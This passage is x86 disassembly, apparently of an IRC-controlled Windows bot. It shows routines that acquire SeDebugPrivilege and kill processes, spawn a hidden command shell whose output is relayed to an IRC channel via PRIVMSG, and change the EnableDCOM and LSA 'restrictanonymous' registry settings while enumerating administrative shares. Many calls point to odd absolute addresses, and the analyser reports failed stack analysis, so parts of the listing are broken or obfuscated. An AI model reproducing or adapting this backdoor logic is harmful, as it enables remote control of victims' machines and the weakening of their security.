		jb	short loc_41978F
		jmp	loc_419890
; ---------------------------------------------------------------------------


loc_4197B7:				; CODE XREF: sub_4196BD+E6j
		push	[ebp+var_128]
		push	0
		push	ebx
		call	edi
		test	eax, eax
		mov	[ebp+var_4], eax
		jz	loc_419890
		push	0
		push	eax
		nop
		call	near ptr 26F09EAh
		test	eax, eax
		jnz	loc_419890


loc_4197DE:				; CODE XREF: sub_4196BD+1B9j
		push	[ebp+var_4]
		call	esi
		jmp	loc_419890
; ---------------------------------------------------------------------------


loc_4197E8:				; CODE XREF: sub_4196BD+C9j
		cmp	[ebp+arg_C], eax
		jnz	loc_41987B
		cmp	[ebp+arg_4], eax
		jz	loc_419890
		push	[ebp+var_128]
		push	8
		call	dword_4CB674
		cmp	[ebp+arg_14], 0
		mov	[ebp+var_4], eax
		mov	[ebp+var_354], 224h
		jz	short loc_41983B
		lea	ecx, [ebp+var_354]
		push	ecx
		push	eax
		call	dword_4CB514
		push	[ebp+var_128]
		test	eax, eax
		jz	short loc_419841
		lea	eax, [ebp+var_234]
		jmp	short loc_419847
; ---------------------------------------------------------------------------


loc_41983B:				; CODE XREF: sub_4196BD+15Cj
		push	[ebp+var_128]


loc_419841:				; CODE XREF: sub_4196BD+174j
		lea	eax, [ebp+var_10C]


loc_419847:				; CODE XREF: sub_4196BD+17Cj
		push	eax
		lea	eax, [ebp+var_554]
		push	offset aSD_0	; " %s (%d)"
		push	eax
		call	sub_41B886
		add	esp, 10h
		lea	eax, [ebp+var_554]
		push	1
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 14h
		jmp	loc_4197DE
; ---------------------------------------------------------------------------


loc_41987B:				; CODE XREF: sub_4196BD+12Ej
		push	[ebp+arg_C]
		lea	eax, [ebp+var_10C]
		push	eax
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4198C3


loc_419890:				; CODE XREF: sub_4196BD+F5j
					; sub_4196BD+10Aj ...
		lea	eax, [ebp+var_130]
		push	eax
		push	[ebp+var_8]
		call	dword_4CB568
		test	eax, eax
		jnz	loc_419781
		xor	ebx, ebx


loc_4198AA:				; CODE XREF: sub_4196BD+9Dj
					; sub_4196BD+B3j
		push	[ebp+var_8]
		call	esi


loc_4198AF:				; CODE XREF: sub_4196BD+77j
		push	ebx
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_419652
		pop	ecx
		pop	ecx


loc_4198BC:				; CODE XREF: sub_4196BD+3Aj
					; sub_4196BD+46j ...
		xor	eax, eax


loc_4198BE:				; CODE XREF: sub_4196BD+22Dj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_4198C3:				; CODE XREF: sub_4196BD+1D1j
		push	[ebp+var_128]
		push	0
		push	ebx
		call	edi
		push	[ebp+var_8]
		mov	edi, eax
		call	esi
		push	0
		push	edi
		nop
		call	near ptr 26F09EAh
		test	eax, eax
		jnz	short loc_4198E7
		push	edi
		call	esi
		jmp	short loc_4198BC
; ---------------------------------------------------------------------------


loc_4198E7:				; CODE XREF: sub_4196BD+223j
		push	1
		pop	eax
		jmp	short loc_4198BE
sub_4196BD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4198EC	proc near		; DATA XREF: sub_401ACD+26CEo

var_298		= byte ptr -298h
var_98		= dword	ptr -98h
var_94		= byte ptr -94h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 298h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	26h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_98]
		push	offset unk_439FB0
		rep movsd
		mov	dword ptr [eax+94h], 1
		lea	eax, [ebp+var_298]
		push	eax
		call	sub_41B886
		xor	esi, esi
		pop	ecx
		cmp	[ebp+var_8], esi
		pop	ecx
		jnz	short loc_41994B
		push	esi
		lea	eax, [ebp+var_298]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		push	[ebp+var_98]
		call	sub_409A73
		add	esp, 14h


loc_41994B:				; CODE XREF: sub_4198EC+3Dj
		push	[ebp+var_10]
		lea	eax, [ebp+var_94]
		push	esi
		push	esi
		push	[ebp+var_C]
		push	eax
		push	[ebp+var_98]
		call	sub_4196BD
		add	esp, 18h
		test	eax, eax
		jnz	short loc_419973
		push	offset unk_439F8C
		jmp	short loc_419978
; ---------------------------------------------------------------------------


loc_419973:				; CODE XREF: sub_4198EC+7Ej
		push	offset unk_439F68


loc_419978:				; CODE XREF: sub_4198EC+85j
		lea	eax, [ebp+var_298]
		push	eax
		call	sub_41B886
		cmp	[ebp+var_8], esi
		pop	ecx
		pop	ecx
		jnz	short loc_4199AB
		push	esi
		lea	eax, [ebp+var_298]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		push	[ebp+var_98]
		call	sub_409A73
		add	esp, 14h


loc_4199AB:				; CODE XREF: sub_4198EC+9Dj
		lea	eax, [ebp+var_298]
		push	eax
		call	sub_4151AD
		push	[ebp+var_14]
		call	sub_40B413
		pop	ecx
		pop	ecx
		push	esi
		nop
		call	near ptr 26D0000h
		pop	edi
		pop	esi
sub_4198EC	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4199CA	proc near		; CODE XREF: sub_401ACD+78B4p
					; sub_40B232+53p

arg_0		= dword	ptr  4

		push	esi
		push	edi
		push	1
		pop	edi
		push	[esp+8+arg_0]
		push	0
		push	1F0FFFh
		nop
		call	near ptr 2670280h
		mov	esi, eax
		test	esi, esi
		jz	short loc_4199FC
		push	0
		push	esi
		call	near ptr 26F09EAh
		nop
		test	eax, eax
		jnz	short loc_4199FC
		push	esi
		xor	edi, edi
		nop
		call	near ptr 265092Ah


loc_4199FC:				; CODE XREF: sub_4199CA+1Aj
					; sub_4199CA+27j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_4199CA	endp

; ---------------------------------------------------------------------------
byte_419A01	db 56h,	33h, 0F6h	; DATA XREF: ___:004015EEo
		dd 5656016Ah, 0E8565656h, 0FFFFFCADh, 0FF18C483h, 439DAC35h
		dd 80E89000h, 0EB022474h
		db 0E3h

; =============== S U B	R O U T	I N E =======================================



sub_419A21	proc near		; CODE XREF: sub_419A51+2Ap
					; sub_419A89+7Ep ...
		mov	eax, dword_4DB8D8
		push	esi
		mov	esi, dword_427068
		cmp	eax, 0FFFFFFFFh
		jz	short loc_419A35
		push	eax
		call	esi


loc_419A35:				; CODE XREF: sub_419A21+Fj
		mov	eax, dword_4DB8E0
		cmp	eax, 0FFFFFFFFh
		jz	short loc_419A42
		push	eax
		call	esi


loc_419A42:				; CODE XREF: sub_419A21+1Cj
		mov	eax, dword_4DB8D4
		cmp	eax, 0FFFFFFFFh
		jz	short loc_419A4F
		push	eax
		call	esi


loc_419A4F:				; CODE XREF: sub_419A21+29j
		pop	esi
		retn
sub_419A21	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419A51	proc near		; CODE XREF: sub_401ACD+7605p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_0]
		call	sub_41AFE0
		pop	ecx
		mov	[ebp+var_4], eax
		lea	ecx, [ebp+var_4]
		push	0
		push	ecx
		push	eax
		push	[ebp+arg_0]
		push	dword_4DB8DC
		nop
		call	near ptr 26E0000h
		test	eax, eax
		jnz	short loc_419A84
		call	sub_419A21
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_419A84:				; CODE XREF: sub_419A51+28j
		push	1
		pop	eax
		leave
		retn
sub_419A51	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419A89	proc near		; CODE XREF: sub_419B10+D3p
					; sub_419B10+F2p ...

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	offset dword_43D808
		push	[ebp+arg_4]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_419ACC
		push	7D0h
		nop
		call	near ptr 2660E9Fh
		push	[ebp+arg_8]
		lea	eax, [ebp+var_200]
		push	[ebp+arg_4]
		push	offset aPrivmsgSS ; "PRIVMSG %s	:%s\r"
		push	eax
		call	sub_41B886
		add	esp, 10h
		jmp	short loc_419AE3
; ---------------------------------------------------------------------------


loc_419ACC:				; CODE XREF: sub_419A89+1Aj
		push	[ebp+arg_8]
		lea	eax, [ebp+var_200]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_41B886
		add	esp, 0Ch


loc_419AE3:				; CODE XREF: sub_419A89+41j
		lea	eax, [ebp+var_200]
		push	0
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	dword_4CB6A4
		test	eax, eax
		jg	short loc_419B0C
		call	sub_419A21


loc_419B0C:				; CODE XREF: sub_419A89+7Cj
		xor	eax, eax
		leave
		retn
sub_419A89	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419B10	proc near		; DATA XREF: sub_419C65+170o

var_20C		= byte ptr -20Ch
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 20Ch
		push	ebx
		push	esi
		push	edi
		mov	esi, 200h
		xor	edi, edi
		mov	ebx, offset dword_4DB8E4


loc_419B28:				; CODE XREF: sub_419B10+79j
					; sub_419B10+DBj
		push	esi
		lea	eax, [ebp+var_20C]
		push	edi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_4]
		push	edi
		push	edi
		push	eax
		lea	eax, [ebp+var_20C]
		push	esi
		push	eax
		push	dword_4DB8D8
		nop
		call	near ptr 2810951h
		test	eax, eax
		jz	loc_419BF6
		cmp	[ebp+var_4], edi
		jnz	short loc_419B8B
		lea	eax, [ebp+var_8]
		push	eax
		push	dword_4DB8D4
		nop
		call	near ptr 2810493h
		test	eax, eax
		jz	short loc_419B81
		cmp	[ebp+var_8], 103h
		jnz	loc_419C1A


loc_419B81:				; CODE XREF: sub_419B10+62j
		push	0Ah
		call	near ptr 2660E9Fh
		nop
		jmp	short loc_419B28
; ---------------------------------------------------------------------------


loc_419B8B:				; CODE XREF: sub_419B10+4Ej
		xor	eax, eax
		cmp	[ebp+var_4], edi
		jbe	short loc_419BA2


loc_419B92:				; CODE XREF: sub_419B10+90j
		cmp	[ebp+eax+var_20C], 0Ah
		jz	short loc_419BF0
		inc	eax
		cmp	eax, [ebp+var_4]
		jb	short loc_419B92


loc_419BA2:				; CODE XREF: sub_419B10+80j
		mov	[ebp+var_4], esi


loc_419BA5:				; CODE XREF: sub_419B10+E4j
		push	esi
		lea	eax, [ebp+var_20C]
		push	edi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_C]
		push	edi
		push	eax
		push	[ebp+var_4]
		lea	eax, [ebp+var_20C]
		push	eax
		push	dword_4DB8D8
		nop
		call	near ptr 26F0000h
		test	eax, eax
		jz	short loc_419C42
		lea	eax, [ebp+var_20C]
		push	eax
		push	ebx
		push	dword_4DB918
		call	sub_419A89
		add	esp, 0Ch
		jmp	loc_419B28
; ---------------------------------------------------------------------------


loc_419BF0:				; CODE XREF: sub_419B10+8Aj
		inc	eax
		mov	[ebp+var_4], eax
		jmp	short loc_419BA5
; ---------------------------------------------------------------------------


loc_419BF6:				; CODE XREF: sub_419B10+45j
		push	offset unk_43A038
		push	ebx
		push	dword_4DB918
		call	sub_419A89
		push	[ebp+arg_0]
		call	sub_40B413
		add	esp, 10h
		push	1
		call	near ptr 26D0000h
		nop


loc_419C1A:				; CODE XREF: sub_419B10+6Bj
		call	sub_419A21
		push	offset unk_43A010
		push	ebx
		push	dword_4DB918
		call	sub_419A89
		push	[ebp+arg_0]
		call	sub_40B413
		add	esp, 10h
		push	edi
		nop
		call	near ptr 26D0000h


loc_419C42:				; CODE XREF: sub_419B10+C3j
		push	offset unk_439FE0
		push	ebx
		push	dword_4DB918
		call	sub_419A89
		push	[ebp+arg_0]
		call	sub_40B413
		add	esp, 10h
		push	edi
		nop
		call	near ptr 26D0000h
sub_419B10	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419C65	proc near		; CODE XREF: sub_401ACD+2508p

var_378		= byte ptr -378h
var_178		= byte ptr -178h
var_74		= dword	ptr -74h
var_48		= dword	ptr -48h
var_44		= word ptr -44h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= byte ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 378h
		push	ebx
		push	esi
		push	edi
		call	sub_419A21
		xor	esi, esi
		lea	eax, [ebp+var_178]
		push	esi
		push	eax
		push	104h
		push	esi
		push	offset dword_433C04
		push	esi
		call	dword_4CB710
		test	eax, eax
		jz	loc_419D5F
		push	1
		lea	eax, [ebp+var_1C]
		pop	ebx
		mov	edi, dword_4270FC
		push	esi
		push	eax
		lea	eax, [ebp+var_C]
		mov	[ebp+var_1C], 0Ch
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		mov	[ebp+var_14], ebx
		mov	[ebp+var_18], esi
		call	edi
		test	eax, eax
		jz	loc_419D5F
		lea	eax, [ebp+var_1C]
		push	esi
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		call	edi
		test	eax, eax
		jz	loc_419D5F
		mov	edi, dword_4270F8
		push	3
		push	esi
		push	esi
		push	offset dword_4DB8DC
		call	edi
		push	eax
		push	[ebp+var_8]
		call	edi
		push	eax
		call	near ptr 2700000h
		nop
		test	eax, eax
		jz	short loc_419D5F
		push	10h
		lea	eax, [ebp+var_2C]
		push	esi
		push	eax
		call	sub_41B590
		push	44h
		lea	eax, [ebp+var_74]
		pop	edi
		push	edi
		push	esi
		push	eax
		call	sub_41B590
		mov	eax, [ebp+var_4]
		add	esp, 18h
		mov	[ebp+var_3C], eax
		mov	eax, [ebp+var_C]
		mov	[ebp+var_38], eax
		mov	[ebp+var_34], eax
		lea	eax, [ebp+var_2C]
		mov	[ebp+var_74], edi
		push	eax
		lea	eax, [ebp+var_74]
		push	eax
		push	esi
		push	esi
		push	esi
		push	ebx
		push	esi
		mov	ebx, offset dword_43D808
		push	esi
		lea	eax, [ebp+var_178]
		push	ebx
		push	eax
		mov	[ebp+var_48], 101h
		mov	[ebp+var_44], si
		call	near ptr 2650BD4h
		nop
		test	eax, eax
		jnz	short loc_419D67


loc_419D5F:				; CODE XREF: sub_419C65+2Fj
					; sub_419C65+5Cj ...
		or	eax, 0FFFFFFFFh
		jmp	loc_419E15
; ---------------------------------------------------------------------------


loc_419D67:				; CODE XREF: sub_419C65+F8j
		push	[ebp+var_4]
		mov	edi, dword_427068
		call	edi
		mov	eax, [ebp+var_10]
		push	[ebp+var_28]
		mov	dword_4DB8D8, eax
		mov	eax, [ebp+var_8]
		mov	dword_4DB8E0, eax
		mov	eax, [ebp+var_2C]
		mov	dword_4DB8D4, eax
		call	edi
		mov	eax, [ebp+arg_0]
		cmp	[ebp+arg_4], esi
		mov	dword_4DB918, eax
		jz	short loc_419DA1
		push	[ebp+arg_4]
		jmp	short loc_419DA2
; ---------------------------------------------------------------------------


loc_419DA1:				; CODE XREF: sub_419C65+135j
		push	ebx


loc_419DA2:				; CODE XREF: sub_419C65+13Aj
		push	offset dword_4DB8E4
		call	sub_41B886
		pop	ecx
		pop	ecx
		push	esi
		push	0Ah
		push	offset unk_43A09C
		call	sub_40B0F7
		mov	edi, eax
		mov	ecx, [ebp+var_24]
		imul	edi, 234h
		add	esp, 0Ch
		mov	dword_43E598[edi], ecx
		lea	ecx, [ebp+var_30]
		push	ecx
		push	esi
		push	eax
		push	offset sub_419B10
		push	esi
		push	esi
		nop
		call	near ptr 2670000h
		cmp	eax, esi
		mov	dword_43E5A4[edi], eax
		jnz	short loc_419E13
		nop
		call	near ptr 26709D6h
		push	eax
		lea	eax, [ebp+var_378]
		push	offset unk_43A068
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_378]
		push	eax
		call	sub_4151AD
		add	esp, 10h


loc_419E13:				; CODE XREF: sub_419C65+185j
		xor	eax, eax


loc_419E15:				; CODE XREF: sub_419C65+FDj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_419C65	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419E1A	proc near		; DATA XREF: sub_401ACD+2E0Co

var_98		= dword	ptr -98h
var_94		= byte ptr -94h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 98h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	26h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_98]
		rep movsd
		pop	edi
		pop	esi
		push	[ebp+var_8]
		cmp	[ebp+var_10], 0
		mov	dword ptr [eax+94h], 1
		lea	eax, [ebp+var_94]
		push	[ebp+var_C]
		push	eax
		push	[ebp+var_98]
		jz	short loc_419E61
		call	sub_419E7A
		jmp	short loc_419E66
; ---------------------------------------------------------------------------


loc_419E61:				; CODE XREF: sub_419E1A+3Ej
		call	sub_41A19E


loc_419E66:				; CODE XREF: sub_419E1A+45j
		add	esp, 10h
		push	[ebp+var_14]
		call	sub_40B413
		pop	ecx
		push	0
		nop
		call	near ptr 26D0000h
sub_419E1A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419E7A	proc near		; CODE XREF: sub_419E1A+40p

var_214		= byte ptr -214h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 214h
		push	esi
		push	edi
		xor	edi, edi
		cmp	dword_4CB724, edi
		jnz	loc_419FAC
		lea	eax, [ebp+var_4]
		mov	esi, 80000002h
		push	eax
		push	2001Fh
		push	edi
		push	offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
		push	esi
		call	dword_4CB6C4
		test	eax, eax
		jnz	short loc_419F05
		mov	ax, word_438E18
		mov	word ptr [ebp+var_8+2],	ax
		lea	eax, [ebp+var_8+2]
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_8+2]
		push	eax
		push	1
		push	edi
		push	offset aEnabledcom ; "EnableDCOM"
		push	[ebp+var_4]
		call	dword_4CB678
		test	eax, eax
		jz	short loc_419EE7
		push	offset dword_43A338
		jmp	short loc_419EEC
; ---------------------------------------------------------------------------


loc_419EE7:				; CODE XREF: sub_419E7A+64j
		push	offset dword_43A318


loc_419EEC:				; CODE XREF: sub_419E7A+6Bj
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_4CB630
		jmp	short loc_419F18
; ---------------------------------------------------------------------------


loc_419F05:				; CODE XREF: sub_419E7A+36j
		lea	eax, [ebp+var_214]
		push	offset dword_43A2E8
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_419F18:				; CODE XREF: sub_419E7A+89j
		cmp	[ebp+arg_C], edi
		jnz	short loc_419F37
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 14h


loc_419F37:				; CODE XREF: sub_419E7A+A1j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_4151AD
		pop	ecx
		lea	eax, [ebp+var_4]
		push	eax
		push	0F003Fh
		push	edi
		push	offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa"
		push	esi
		call	dword_4CB6C4
		test	eax, eax
		jnz	short loc_419FA5
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		push	4
		push	edi
		push	offset aRestrictanonym ; "restrictanonymous"
		push	[ebp+var_4]
		mov	[ebp+var_8], 1
		call	dword_4CB678
		test	eax, eax
		jz	short loc_419F87
		push	offset dword_43A298
		jmp	short loc_419F8C
; ---------------------------------------------------------------------------


loc_419F87:				; CODE XREF: sub_419E7A+104j
		push	offset dword_43A264


loc_419F8C:				; CODE XREF: sub_419E7A+10Bj
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_4CB630
		jmp	short loc_419FBF
; ---------------------------------------------------------------------------


loc_419FA5:				; CODE XREF: sub_419E7A+E2j
		push	offset dword_43A228
		jmp	short loc_419FB1
; ---------------------------------------------------------------------------


loc_419FAC:				; CODE XREF: sub_419E7A+13j
		push	offset dword_43A1F8


loc_419FB1:				; CODE XREF: sub_419E7A+130j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_419FBF:				; CODE XREF: sub_419E7A+129j
		cmp	[ebp+arg_C], edi
		jnz	short loc_419FDE
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 14h


loc_419FDE:				; CODE XREF: sub_419E7A+148j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_4151AD
		cmp	dword_4CB74C, edi
		pop	ecx
		jnz	loc_41A159
		push	ebx
		mov	[ebp+var_4], edi
		mov	[ebp+var_14], edi
		mov	[ebp+var_C], edi


loc_41A001:				; CODE XREF: sub_419E7A+2C3j
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_8]
		push	0FFFFFFFFh
		push	eax
		push	1F6h
		push	edi
		call	dword_4CB598
		cmp	eax, edi
		mov	[ebp+var_10], eax
		jz	short loc_41A09E
		cmp	eax, 0EAh
		jz	short loc_41A09E
		mov	esi, offset off_43A0C0


loc_41A032:				; CODE XREF: sub_419E7A+21Dj
		push	dword ptr [esi]
		push	edi
		call	sub_418C6C
		pop	ecx
		pop	ecx
		push	dword ptr [esi]
		test	eax, eax
		jnz	short loc_41A049
		push	offset dword_43A1D4
		jmp	short loc_41A04E
; ---------------------------------------------------------------------------


loc_41A049:				; CODE XREF: sub_419E7A+1C6j
		push	offset dword_43A1A8


loc_41A04E:				; CODE XREF: sub_419E7A+1CDj
		lea	eax, [ebp+var_214]
		push	200h
		push	eax
		call	sub_41B980
		add	esp, 10h
		cmp	[ebp+arg_C], edi
		jnz	short loc_41A081
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 14h


loc_41A081:				; CODE XREF: sub_419E7A+1EBj
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_4151AD
		add	esi, 8
		pop	ecx
		cmp	esi, offset off_43A0E0
		jb	short loc_41A032
		jmp	loc_41A136
; ---------------------------------------------------------------------------


loc_41A09E:				; CODE XREF: sub_419E7A+1AAj
					; sub_419E7A+1B1j
		mov	esi, [ebp+var_8]
		push	1
		pop	ebx
		cmp	[ebp+var_4], ebx
		jb	loc_41A12D


loc_41A0AD:				; CODE XREF: sub_419E7A+2AFj
		mov	edi, [esi]
		push	edi
		call	sub_41D817
		cmp	word ptr [edi+eax*2-2],	24h
		pop	ecx
		jnz	short loc_41A122
		push	edi
		call	sub_418B59
		push	eax
		push	0
		call	sub_418C6C
		add	esp, 0Ch
		push	dword ptr [esi]
		test	eax, eax
		jnz	short loc_41A0DC
		push	offset dword_43A184
		jmp	short loc_41A0E1
; ---------------------------------------------------------------------------


loc_41A0DC:				; CODE XREF: sub_419E7A+259j
		push	offset dword_43A158


loc_41A0E1:				; CODE XREF: sub_419E7A+260j
		lea	eax, [ebp+var_214]
		push	200h
		push	eax
		call	sub_41B980
		add	esp, 10h
		cmp	[ebp+arg_C], 0
		jnz	short loc_41A115
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 14h


loc_41A115:				; CODE XREF: sub_419E7A+27Fj
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_4151AD
		pop	ecx


loc_41A122:				; CODE XREF: sub_419E7A+242j
		add	esi, 28h
		inc	ebx
		cmp	ebx, [ebp+var_4]
		jbe	short loc_41A0AD
		xor	edi, edi


loc_41A12D:				; CODE XREF: sub_419E7A+22Dj
		push	[ebp+var_8]
		call	dword_4CB6E4


loc_41A136:				; CODE XREF: sub_419E7A+21Fj
		cmp	[ebp+var_10], 0EAh
		jz	loc_41A001
		lea	eax, [ebp+var_214]
		push	offset dword_43A130
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		pop	ebx
		jmp	short loc_41A16C
; ---------------------------------------------------------------------------


loc_41A159:				; CODE XREF: sub_419E7A+177j
		lea	eax, [ebp+var_214]
		push	offset dword_43A100
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_41A16C:				; CODE XREF: sub_419E7A+2DDj
		cmp	[ebp+arg_C], edi
		jnz	short loc_41A18A
		push	edi
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 14h


loc_41A18A:				; CODE XREF: sub_419E7A+2F5j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_4151AD
		pop	ecx
		push	1
		pop	eax
		pop	edi
		pop	esi
		leave
		retn
sub_419E7A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A19E	proc near		; CODE XREF: sub_419E1A:loc_419E61p

var_220		= byte ptr -220h
var_20		= byte ptr -20h
var_14		= byte ptr -14h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 220h
		push	ebx
		xor	ebx, ebx
		cmp	dword_4CB724, ebx
		push	esi
		jnz	loc_41A2CC
		lea	eax, [ebp+var_4]
		mov	esi, 80000002h
		push	eax
		push	2001Fh
		push	ebx
		push	offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
		push	esi
		call	dword_4CB6C4
		test	eax, eax
		jnz	short loc_41A229
		mov	ax, word_438E5C
		mov	word ptr [ebp+var_8+2],	ax
		lea	eax, [ebp+var_8+2]
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_8+2]
		push	eax
		push	1
		push	ebx
		push	offset aEnabledcom ; "EnableDCOM"
		push	[ebp+var_4]
		call	dword_4CB678
		test	eax, eax
		jz	short loc_41A20B
		push	offset dword_43A4B0
		jmp	short loc_41A210
; ---------------------------------------------------------------------------


loc_41A20B:				; CODE XREF: sub_41A19E+64j
		push	offset dword_43A494


loc_41A210:				; CODE XREF: sub_41A19E+6Bj
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_4CB630
		jmp	short loc_41A23C
; ---------------------------------------------------------------------------


loc_41A229:				; CODE XREF: sub_41A19E+36j
		lea	eax, [ebp+var_220]
		push	offset dword_43A2E8
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_41A23C:				; CODE XREF: sub_41A19E+89j
		cmp	[ebp+arg_C], ebx
		jnz	short loc_41A25B
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 14h


loc_41A25B:				; CODE XREF: sub_41A19E+A1j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_4151AD
		pop	ecx
		lea	eax, [ebp+var_4]
		push	eax
		push	0F003Fh
		push	ebx
		push	offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa"
		push	esi
		call	dword_4CB6C4
		test	eax, eax
		jnz	short loc_41A2C5
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		push	4
		push	ebx
		push	offset aRestrictanonym ; "restrictanonymous"
		push	[ebp+var_4]
		mov	[ebp+var_8], ebx
		call	dword_4CB678
		test	eax, eax
		jz	short loc_41A2A7
		push	offset dword_43A454
		jmp	short loc_41A2AC
; ---------------------------------------------------------------------------


loc_41A2A7:				; CODE XREF: sub_41A19E+100j
		push	offset dword_43A41C


loc_41A2AC:				; CODE XREF: sub_41A19E+107j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_41B886
		pop	ecx
